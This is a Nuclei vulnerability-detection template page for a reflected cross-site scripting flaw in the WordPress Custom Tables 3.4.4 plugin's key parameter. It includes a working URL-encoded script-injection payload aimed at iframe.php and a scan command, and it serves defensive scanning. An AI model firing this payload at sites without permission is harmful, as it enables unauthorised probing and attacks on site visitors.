WordPress Custom Tables 3.4.4 - Cross-Site Scripting
ID: wp-custom-tables-xss
Severity: high
Author: daffainfo
Tags: wpscan,wordpress,xss,wp-plugin
Description
Section titled “Description”WordPress Custom Tables 3.4.4 plugin contains a cross-site scripting vulnerability via the key parameter.
YAML Source
Section titled “YAML Source”id: wp-custom-tables-xss
info: name: WordPress Custom Tables 3.4.4 - Cross-Site Scripting author: daffainfo severity: high description: WordPress Custom Tables 3.4.4 plugin contains a cross-site scripting vulnerability via the key parameter. reference: - https://wpscan.com/vulnerability/211a4286-4747-4b62-acc3-fd9a57b06252 - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-custom-tables-key-parameter-cross-site-scripting-3-4-4/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: max-request: 2 tags: wpscan,wordpress,xss,wp-plugin
flow: http(1) && http(2)
http: - raw: - | GET /wp-content/plugins/custom-tables/readme.txt HTTP/1.1 Host: {{Hostname}}
matchers: - type: word internal: true words: - 'custom tables' - 'Tags:' condition: and
- method: GET path: - '{{BaseURL}}/wp-content/plugins/custom-tables/iframe.php?s=1&key=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and matchers: - type: word words: - "</script><script>alert(document.domain)</script>" part: body
- type: word part: header words: - text/html
- type: status status: - 200# digest: 4a0a00473045022038ecd0be27f5c2ac64d1d6c9bacde220891c903fcf4f722b89c7dccc22f0f80a022100b6270888c06f1989aceae1bef6bfc94a38cbaa95785554cf81c3436ae92b762f:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-custom-tables-xss.yaml"